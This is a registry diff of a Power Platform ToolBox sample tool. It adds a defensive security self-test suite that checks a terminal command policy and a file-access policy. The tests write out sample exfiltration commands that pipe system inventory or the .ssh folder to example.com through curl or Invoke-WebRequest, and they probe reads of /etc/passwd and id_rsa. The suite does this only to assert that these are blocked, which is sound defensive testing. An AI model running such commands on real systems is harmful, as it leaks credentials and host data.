pptb-standard-sample-tool 1.1.2 → 1.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +42 -1
- package/dist/app.js +78 -360
- package/dist/features/filesystem.js +291 -0
- package/dist/features/terminal.js +141 -0
- package/dist/icon/icon/sample-icon.png +0 -0
- package/dist/icon/icon/sample-icon.svg +2 -0
- package/dist/index.html +173 -156
- package/dist/security/policy.js +117 -0
- package/dist/security/reporting.js +67 -0
- package/dist/security/suites.js +281 -0
- package/dist/utils/time.js +3 -0
- package/package.json +1 -2
|
@@ -0,0 +1,281 @@
|
|
|
1
|
+
import { executeCommandWithPolicyGuard, getBlockedCommandReason, getBlockedPathReason, listTerminalAllowedCommands, listTerminalBlockedTokens, readTextWithPolicyGuard } from "./policy.js";
|
|
2
|
+
import { addSecurityResult, assertCommandBlockedWithToken, getHighestSeverity, renderSuiteReport } from "./reporting.js";
|
|
3
|
+
export function createSecuritySuites(deps) {
|
|
4
|
+
function toSafeTestId(value) {
|
|
5
|
+
return value
|
|
6
|
+
.trim()
|
|
7
|
+
.toLowerCase()
|
|
8
|
+
.replace(/[^a-z0-9]+/g, "_")
|
|
9
|
+
.replace(/^_+|_+$/g, "")
|
|
10
|
+
.slice(0, 60);
|
|
11
|
+
}
|
|
12
|
+
async function runTerminalSecuritySuite(showNotificationOnFinish = true) {
|
|
13
|
+
const output = document.getElementById("terminal-suite-output");
|
|
14
|
+
if (output)
|
|
15
|
+
output.textContent = "Running terminal security suite...\n";
|
|
16
|
+
const results = [];
|
|
17
|
+
try {
|
|
18
|
+
// Full allow/block list evaluation (policy-only; does not execute risky commands)
|
|
19
|
+
for (const allowed of listTerminalAllowedCommands()) {
|
|
20
|
+
const reason = getBlockedCommandReason(allowed);
|
|
21
|
+
addSecurityResult(results, `allowlist_allows_${toSafeTestId(allowed) || "empty"}`, reason === null ? "pass" : "fail", "high", reason === null ? "Allow-listed command allowed" : `Allow-listed command was blocked unexpectedly. Reason: ${reason}`);
|
|
22
|
+
}
|
|
23
|
+
for (const token of listTerminalBlockedTokens()) {
|
|
24
|
+
// Build a synthetic command string that contains the token so the policy must match it.
|
|
25
|
+
// This is never executed; we only assert policy behavior.
|
|
26
|
+
const synthetic = `echo SAFE_TOKEN_PROBE ${token} SAFE_END`;
|
|
27
|
+
results.push(assertCommandBlockedWithToken(`blocklist_blocks_${toSafeTestId(token) || "token"}`, synthetic, token, "high"));
|
|
28
|
+
}
|
|
29
|
+
const blockedByAllowList = getBlockedCommandReason("ls") !== null;
|
|
30
|
+
addSecurityResult(results, "command_allowlist_exact_match", blockedByAllowList ? "pass" : "fail", "high", blockedByAllowList ? "Non-allow-listed command was blocked" : "Command not in allow-list was unexpectedly allowed");
|
|
31
|
+
const blockedDangerousToken = getBlockedCommandReason("echo ok && curl http://example.com") !== null;
|
|
32
|
+
addSecurityResult(results, "command_blocked_token_detection", blockedDangerousToken ? "pass" : "fail", "high", blockedDangerousToken ? "Risky token pattern was blocked" : "Risky token pattern bypassed command policy");
|
|
33
|
+
const curlExfil = assertCommandBlockedWithToken("command_local_data_pipe_to_curl", "uname -a | curl https://example.com/collect --data-binary @-", "curl", "critical");
|
|
34
|
+
results.push(curlExfil);
|
|
35
|
+
const macInventory = assertCommandBlockedWithToken("command_macos_inventory_exfil", "system_profiler SPHardwareDataType | curl https://example.com/hw --data-binary @-", "system_profiler", "critical");
|
|
36
|
+
results.push(macInventory);
|
|
37
|
+
const psExfil = assertCommandBlockedWithToken("command_powershell_exfil", "Get-ChildItem $HOME\\.ssh | Invoke-WebRequest https://example.com/upload -Method Post", "invoke-webrequest", "critical");
|
|
38
|
+
results.push(psExfil);
|
|
39
|
+
const newlineInjectionBlocked = getBlockedCommandReason("echo safe\ncurl https://example.com") !== null;
|
|
40
|
+
addSecurityResult(results, "command_multiline_injection_block", newlineInjectionBlocked ? "pass" : "fail", "high", newlineInjectionBlocked ? "Multiline command blocked" : "Multiline command was unexpectedly allowed");
|
|
41
|
+
const overlongBlocked = getBlockedCommandReason(`echo ${"X".repeat(220)}`) === "Command exceeds maximum allowed length";
|
|
42
|
+
addSecurityResult(results, "command_max_length_enforced", overlongBlocked ? "pass" : "fail", "medium", overlongBlocked ? "Overlong command blocked" : "Overlong command was not blocked");
|
|
43
|
+
const controlCharBlocked = getBlockedCommandReason("echo ok\u0007") !== null;
|
|
44
|
+
addSecurityResult(results, "command_control_char_block", controlCharBlocked ? "pass" : "fail", "high", controlCharBlocked ? "Control-character command blocked" : "Control-character command was unexpectedly allowed");
|
|
45
|
+
// Burst probe
|
|
46
|
+
try {
|
|
47
|
+
if (!deps.getCurrentTerminal()) {
|
|
48
|
+
await deps.createTerminal();
|
|
49
|
+
}
|
|
50
|
+
const terminal = deps.getCurrentTerminal();
|
|
51
|
+
if (!terminal) {
|
|
52
|
+
addSecurityResult(results, "terminal_burst_probe", "fail", "medium", "Could not create terminal for burst probe");
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
const burst = Array.from({ length: 5 }).map(() => "echo PPTB_SECURITY_PROBE");
|
|
56
|
+
for (const command of burst) {
|
|
57
|
+
await executeCommandWithPolicyGuard(deps.toolbox, terminal.id, command);
|
|
58
|
+
}
|
|
59
|
+
addSecurityResult(results, "terminal_burst_probe", "pass", "medium", "Burst of rapid commands processed without app crash");
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
catch (error) {
|
|
63
|
+
addSecurityResult(results, "terminal_burst_probe", "fail", "medium", `Burst probe error: ${error.message}`);
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
catch (error) {
|
|
67
|
+
addSecurityResult(results, "terminal_suite_runtime", "fail", "medium", `Suite runtime error: ${error.message}`);
|
|
68
|
+
}
|
|
69
|
+
const summary = renderSuiteReport("terminal-suite-output", "terminal", results);
|
|
70
|
+
if (showNotificationOnFinish) {
|
|
71
|
+
await deps.showNotification("Terminal Suite Completed", summary.failed > 0 ? `${summary.failed} terminal test(s) failed` : "All terminal tests passed", summary.failed > 0 ? "warning" : "success");
|
|
72
|
+
}
|
|
73
|
+
return results;
|
|
74
|
+
}
|
|
75
|
+
async function runFileSystemSecuritySuite(showNotificationOnFinish = true) {
|
|
76
|
+
const output = document.getElementById("filesystem-suite-output");
|
|
77
|
+
if (output)
|
|
78
|
+
output.textContent = "Running fileSystem security suite...\n";
|
|
79
|
+
const results = [];
|
|
80
|
+
const relativePathBlocked = getBlockedPathReason("relative/config.json") !== null;
|
|
81
|
+
addSecurityResult(results, "filesystem_requires_absolute_path", relativePathBlocked ? "pass" : "fail", "high", relativePathBlocked ? "Relative path rejected" : "Relative path unexpectedly allowed");
|
|
82
|
+
const traversalBlocked = getBlockedPathReason("/tmp/../etc/passwd") !== null;
|
|
83
|
+
addSecurityResult(results, "filesystem_traversal_block", traversalBlocked ? "pass" : "fail", "critical", traversalBlocked ? "Path traversal rejected" : "Path traversal was not blocked");
|
|
84
|
+
const windowsSensitiveBlocked = getBlockedPathReason("C:\\Users\\demo\\.ssh\\known_hosts") !== null;
|
|
85
|
+
addSecurityResult(results, "filesystem_windows_sensitive_block", windowsSensitiveBlocked ? "pass" : "fail", "critical", windowsSensitiveBlocked ? "Windows sensitive path blocked" : "Windows sensitive path was not blocked");
|
|
86
|
+
try {
|
|
87
|
+
await readTextWithPolicyGuard(deps.toolbox, "/Users/test/.ssh/id_rsa");
|
|
88
|
+
addSecurityResult(results, "filesystem_guarded_read_block", "fail", "critical", "Sensitive read unexpectedly allowed");
|
|
89
|
+
}
|
|
90
|
+
catch {
|
|
91
|
+
addSecurityResult(results, "filesystem_guarded_read_block", "pass", "critical", "Sensitive read blocked by policy guard");
|
|
92
|
+
}
|
|
93
|
+
const fsApi = deps.toolbox.fileSystem;
|
|
94
|
+
const requiredMethods = ["readText", "readDirectory", "createDirectory", "saveFile", "selectPath"];
|
|
95
|
+
const missing = requiredMethods.filter((name) => typeof fsApi?.[name] !== "function");
|
|
96
|
+
addSecurityResult(results, "filesystem_api_surface", missing.length === 0 ? "pass" : "fail", "medium", missing.length === 0 ? "All required fileSystem methods present" : `Missing methods: ${missing.join(", ")}`);
|
|
97
|
+
const summary = renderSuiteReport("filesystem-suite-output", "filesystem", results);
|
|
98
|
+
if (showNotificationOnFinish) {
|
|
99
|
+
await deps.showNotification("FileSystem Suite Completed", summary.failed > 0 ? `${summary.failed} filesystem test(s) failed` : "All filesystem tests passed", summary.failed > 0 ? "warning" : "success");
|
|
100
|
+
}
|
|
101
|
+
return results;
|
|
102
|
+
}
|
|
103
|
+
async function runEventsSecuritySuite(showNotificationOnFinish = true) {
|
|
104
|
+
const output = document.getElementById("events-suite-output");
|
|
105
|
+
if (output)
|
|
106
|
+
output.textContent = "Running events security suite...\n";
|
|
107
|
+
const results = [];
|
|
108
|
+
const eventsApiExists = typeof deps.toolbox.events?.on === "function";
|
|
109
|
+
addSecurityResult(results, "events_api_exists", eventsApiExists ? "pass" : "fail", "medium", eventsApiExists ? "events.on is available" : "events.on is not available");
|
|
110
|
+
try {
|
|
111
|
+
deps.toolbox.events.on(() => { });
|
|
112
|
+
addSecurityResult(results, "events_subscription_call", "pass", "low", "Event subscription call succeeded");
|
|
113
|
+
}
|
|
114
|
+
catch (error) {
|
|
115
|
+
addSecurityResult(results, "events_subscription_call", "fail", "medium", `Subscription failed: ${error.message}`);
|
|
116
|
+
}
|
|
117
|
+
try {
|
|
118
|
+
deps.handleTerminalOutput(undefined);
|
|
119
|
+
addSecurityResult(results, "events_malformed_terminal_output", "pass", "high", "Malformed output payload handled safely");
|
|
120
|
+
}
|
|
121
|
+
catch (error) {
|
|
122
|
+
addSecurityResult(results, "events_malformed_terminal_output", "fail", "high", `Malformed output payload crashed handler: ${error.message}`);
|
|
123
|
+
}
|
|
124
|
+
try {
|
|
125
|
+
deps.handleCommandCompleted(undefined);
|
|
126
|
+
addSecurityResult(results, "events_malformed_terminal_completed", "pass", "high", "Malformed completion payload handled safely");
|
|
127
|
+
}
|
|
128
|
+
catch (error) {
|
|
129
|
+
addSecurityResult(results, "events_malformed_terminal_completed", "fail", "high", `Malformed completion payload crashed handler: ${error.message}`);
|
|
130
|
+
}
|
|
131
|
+
const summary = renderSuiteReport("events-suite-output", "events", results);
|
|
132
|
+
if (showNotificationOnFinish) {
|
|
133
|
+
await deps.showNotification("Events Suite Completed", summary.failed > 0 ? `${summary.failed} events test(s) failed` : "All events tests passed", summary.failed > 0 ? "warning" : "success");
|
|
134
|
+
}
|
|
135
|
+
return results;
|
|
136
|
+
}
|
|
137
|
+
async function runSettingsSecuritySuite(showNotificationOnFinish = true) {
|
|
138
|
+
const output = document.getElementById("settings-suite-output");
|
|
139
|
+
if (output)
|
|
140
|
+
output.textContent = "Running settings security suite...\n";
|
|
141
|
+
const results = [];
|
|
142
|
+
const settingsApi = deps.toolbox.settings;
|
|
143
|
+
const requiredMethods = ["get", "set"];
|
|
144
|
+
const missing = requiredMethods.filter((name) => typeof settingsApi?.[name] !== "function");
|
|
145
|
+
addSecurityResult(results, "settings_api_surface", missing.length === 0 ? "pass" : "fail", "medium", missing.length === 0 ? "Required settings methods available" : `Missing methods: ${missing.join(", ")}`);
|
|
146
|
+
const tempKey = `security.suite.temp.${Date.now()}`;
|
|
147
|
+
try {
|
|
148
|
+
await settingsApi.set(tempKey, { value: "ok", ts: Date.now() });
|
|
149
|
+
const saved = await settingsApi.get(tempKey);
|
|
150
|
+
const valid = typeof saved === "object" && saved?.value === "ok";
|
|
151
|
+
addSecurityResult(results, "settings_roundtrip", valid ? "pass" : "fail", "medium", valid ? "set/get roundtrip succeeded" : "set/get roundtrip returned unexpected value");
|
|
152
|
+
if (typeof settingsApi.setAll === "function" && typeof settingsApi.getAll === "function") {
|
|
153
|
+
await settingsApi.setAll({ "security.suite.batch.one": 1, "security.suite.batch.two": 2 });
|
|
154
|
+
const all = await settingsApi.getAll();
|
|
155
|
+
const hasBatchValues = all?.["security.suite.batch.one"] === 1 && all?.["security.suite.batch.two"] === 2;
|
|
156
|
+
addSecurityResult(results, "settings_batch_operations", hasBatchValues ? "pass" : "fail", "low", hasBatchValues ? "setAll/getAll batch operations succeeded" : "Batch operations did not persist expected values");
|
|
157
|
+
}
|
|
158
|
+
else {
|
|
159
|
+
addSecurityResult(results, "settings_batch_operations", "pass", "low", "setAll/getAll not available in this host build; skipped");
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
catch (error) {
|
|
163
|
+
addSecurityResult(results, "settings_roundtrip", "fail", "medium", `Settings operation failed: ${error.message}`);
|
|
164
|
+
}
|
|
165
|
+
finally {
|
|
166
|
+
try {
|
|
167
|
+
if (typeof settingsApi?.delete === "function") {
|
|
168
|
+
await settingsApi.delete(tempKey);
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
catch {
|
|
172
|
+
// best-effort cleanup
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
const summary = renderSuiteReport("settings-suite-output", "settings", results);
|
|
176
|
+
if (showNotificationOnFinish) {
|
|
177
|
+
await deps.showNotification("Settings Suite Completed", summary.failed > 0 ? `${summary.failed} settings test(s) failed` : "All settings tests passed", summary.failed > 0 ? "warning" : "success");
|
|
178
|
+
}
|
|
179
|
+
return results;
|
|
180
|
+
}
|
|
181
|
+
async function runDataverseSecuritySuite(showNotificationOnFinish = true) {
|
|
182
|
+
const output = document.getElementById("dataverse-suite-output");
|
|
183
|
+
if (output)
|
|
184
|
+
output.textContent = "Running dataverse security suite...\n";
|
|
185
|
+
const results = [];
|
|
186
|
+
const requiredMethods = ["fetchXmlQuery", "queryData", "execute", "getEntityMetadata"];
|
|
187
|
+
const missing = requiredMethods.filter((name) => typeof deps.dataverse?.[name] !== "function");
|
|
188
|
+
addSecurityResult(results, "dataverse_api_surface", missing.length === 0 ? "pass" : "fail", "medium", missing.length === 0 ? "Required dataverse methods available" : `Missing methods: ${missing.join(", ")}`);
|
|
189
|
+
if (!deps.getCurrentConnection()) {
|
|
190
|
+
addSecurityResult(results, "dataverse_connection_required", "pass", "low", "No active connection; runtime query checks skipped");
|
|
191
|
+
}
|
|
192
|
+
else {
|
|
193
|
+
try {
|
|
194
|
+
const whoAmIResult = await deps.dataverse.execute({ operationName: "WhoAmI", operationType: "function" });
|
|
195
|
+
addSecurityResult(results, "dataverse_execute_whoami", whoAmIResult ? "pass" : "fail", "medium", whoAmIResult ? "WhoAmI returned a response" : "WhoAmI returned empty response");
|
|
196
|
+
}
|
|
197
|
+
catch (error) {
|
|
198
|
+
addSecurityResult(results, "dataverse_execute_whoami", "fail", "medium", `WhoAmI failed: ${error.message}`);
|
|
199
|
+
}
|
|
200
|
+
try {
|
|
201
|
+
const queryResult = await deps.dataverse.queryData("accounts?$select=name,accountid&$top=1");
|
|
202
|
+
const valid = Array.isArray(queryResult?.value);
|
|
203
|
+
addSecurityResult(results, "dataverse_query_readonly", valid ? "pass" : "fail", "medium", valid ? `Read-only query succeeded (${queryResult.value.length} rows)` : "Read-only query response malformed");
|
|
204
|
+
}
|
|
205
|
+
catch (error) {
|
|
206
|
+
addSecurityResult(results, "dataverse_query_readonly", "fail", "medium", `Read-only query failed: ${error.message}`);
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
const summary = renderSuiteReport("dataverse-suite-output", "dataverse", results);
|
|
210
|
+
if (showNotificationOnFinish) {
|
|
211
|
+
await deps.showNotification("Dataverse Suite Completed", summary.failed > 0 ? `${summary.failed} dataverse test(s) failed` : "All dataverse tests passed", summary.failed > 0 ? "warning" : "success");
|
|
212
|
+
}
|
|
213
|
+
return results;
|
|
214
|
+
}
|
|
215
|
+
async function runAllSuites() {
|
|
216
|
+
const output = document.getElementById("overall-suite-output");
|
|
217
|
+
if (output)
|
|
218
|
+
output.textContent = "Running all API security suites...\n";
|
|
219
|
+
try {
|
|
220
|
+
const terminalResults = await runTerminalSecuritySuite(false);
|
|
221
|
+
const fileSystemResults = await runFileSystemSecuritySuite(false);
|
|
222
|
+
const eventsResults = await runEventsSecuritySuite(false);
|
|
223
|
+
const settingsResults = await runSettingsSecuritySuite(false);
|
|
224
|
+
const dataverseResults = await runDataverseSecuritySuite(false);
|
|
225
|
+
const suiteSummaries = [
|
|
226
|
+
{ suite: "terminal", results: terminalResults },
|
|
227
|
+
{ suite: "filesystem", results: fileSystemResults },
|
|
228
|
+
{ suite: "events", results: eventsResults },
|
|
229
|
+
{ suite: "settings", results: settingsResults },
|
|
230
|
+
{ suite: "dataverse", results: dataverseResults },
|
|
231
|
+
].map((suiteResult) => ({
|
|
232
|
+
suite: suiteResult.suite,
|
|
233
|
+
total: suiteResult.results.length,
|
|
234
|
+
failed: suiteResult.results.filter((r) => r.status === "fail").length,
|
|
235
|
+
}));
|
|
236
|
+
const total = suiteSummaries.reduce((sum, s) => sum + s.total, 0);
|
|
237
|
+
const failed = suiteSummaries.reduce((sum, s) => sum + s.failed, 0);
|
|
238
|
+
const passed = total - failed;
|
|
239
|
+
const highestSeverity = getHighestSeverity([...terminalResults, ...fileSystemResults, ...eventsResults, ...settingsResults, ...dataverseResults]);
|
|
240
|
+
const overallReport = {
|
|
241
|
+
generatedAt: new Date().toISOString(),
|
|
242
|
+
suite: "all",
|
|
243
|
+
summary: {
|
|
244
|
+
total,
|
|
245
|
+
passed,
|
|
246
|
+
failed,
|
|
247
|
+
highestSeverity,
|
|
248
|
+
},
|
|
249
|
+
suites: suiteSummaries,
|
|
250
|
+
};
|
|
251
|
+
if (output) {
|
|
252
|
+
output.textContent = JSON.stringify(overallReport, null, 2);
|
|
253
|
+
}
|
|
254
|
+
await deps.showNotification("All Security Suites Completed", failed > 0 ? `${failed} test(s) failed across API suites` : "All API suite tests passed", failed > 0 ? "warning" : "success");
|
|
255
|
+
}
|
|
256
|
+
catch (error) {
|
|
257
|
+
if (output) {
|
|
258
|
+
output.textContent = `All-suites execution error: ${error.message}`;
|
|
259
|
+
}
|
|
260
|
+
deps.log(`All suites execution error: ${error.message}`, "error");
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
return {
|
|
264
|
+
runTerminalSuite: async () => {
|
|
265
|
+
await runTerminalSecuritySuite(true);
|
|
266
|
+
},
|
|
267
|
+
runFileSystemSuite: async () => {
|
|
268
|
+
await runFileSystemSecuritySuite(true);
|
|
269
|
+
},
|
|
270
|
+
runEventsSuite: async () => {
|
|
271
|
+
await runEventsSecuritySuite(true);
|
|
272
|
+
},
|
|
273
|
+
runSettingsSuite: async () => {
|
|
274
|
+
await runSettingsSecuritySuite(true);
|
|
275
|
+
},
|
|
276
|
+
runDataverseSuite: async () => {
|
|
277
|
+
await runDataverseSecuritySuite(true);
|
|
278
|
+
},
|
|
279
|
+
runAllSuites,
|
|
280
|
+
};
|
|
281
|
+
}
|
package/package.json
CHANGED
|
@@ -1,10 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pptb-standard-sample-tool",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.5",
|
|
4
4
|
"displayName": "HTML Sample Tool",
|
|
5
5
|
"description": "A sample Power Platform ToolBox tool built with HTML, CSS, and TypeScript",
|
|
6
6
|
"main": "index.html",
|
|
7
|
-
"icon": "icon/sample-icon.svg",
|
|
8
7
|
"author": "Power Platform ToolBox",
|
|
9
8
|
"keywords": [
|
|
10
9
|
"powerplatform",
|